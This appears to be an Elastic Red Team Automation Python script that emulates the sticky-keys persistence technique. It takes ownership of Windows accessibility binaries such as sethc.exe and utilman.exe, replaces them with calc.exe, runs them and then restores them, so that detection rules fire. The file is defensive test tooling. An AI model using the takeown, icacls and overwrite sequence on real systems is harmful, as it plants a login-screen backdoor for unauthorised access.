Justin Ibarra
56 lines
1.8 KiB
Python
56 lines
1.8 KiB
Python
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
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# or more contributor license agreements. Licensed under the Elastic License
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# 2.0; you may not use this file except in compliance with the Elastic License
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# 2.0.
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# Name: Overwrite Accessibiity Binaries
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# RTA: sticky_keys_write_execute.py
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# signal.rule.name: Potential Modification of Accessibility Binaries
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# signal.rule.name: Local Service Commands
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# signal.rule.name: Persistence via TelemetryController Scheduled Task Hijack
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# ATT&CK: T1015
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# Description: Writes different binaries into various accessibility locations.
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import os
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import time
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from . import common
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@common.requires_os(common.WINDOWS)
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def main():
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# Prep
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bins = ["sethc.exe", "utilman.exe", "narrator.exe", "magnify.exe", "osk.exe", "displayswitch.exe", "atbroker.exe"]
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calc = os.path.abspath("\\windows\\system32\\calc.exe")
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temp = os.path.abspath("temp.exe")
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# loop over bins
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for bin_name in bins:
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bin_path = os.path.abspath("\\Windows\\system32\\" + bin_name)
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# Back up bin
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common.copy_file(bin_path, temp)
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# Change Permissions to allow modification
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common.execute(["takeown", "/F", bin_path, "/A"])
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common.execute(["icacls", bin_path, "/grant", "Administrators:F"])
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# Copy Calc to overwrite binary, then run it
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common.copy_file(calc, bin_path)
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common.execute(bin_path, kill=True, timeout=1)
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# Restore Original File and Permissions on file
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common.copy_file(temp, bin_path)
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common.execute(["icacls", bin_path, "/setowner", "NT SERVICE\\TrustedInstaller"])
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common.execute(["icacls", bin_path, "/grant:r", "Administrators:RX"])
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common.remove_file(temp)
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# Cleanup
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time.sleep(2)
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common.execute(["taskkill", "/F", "/im", "calculator.exe"])
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if __name__ == "__main__":
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exit(main())
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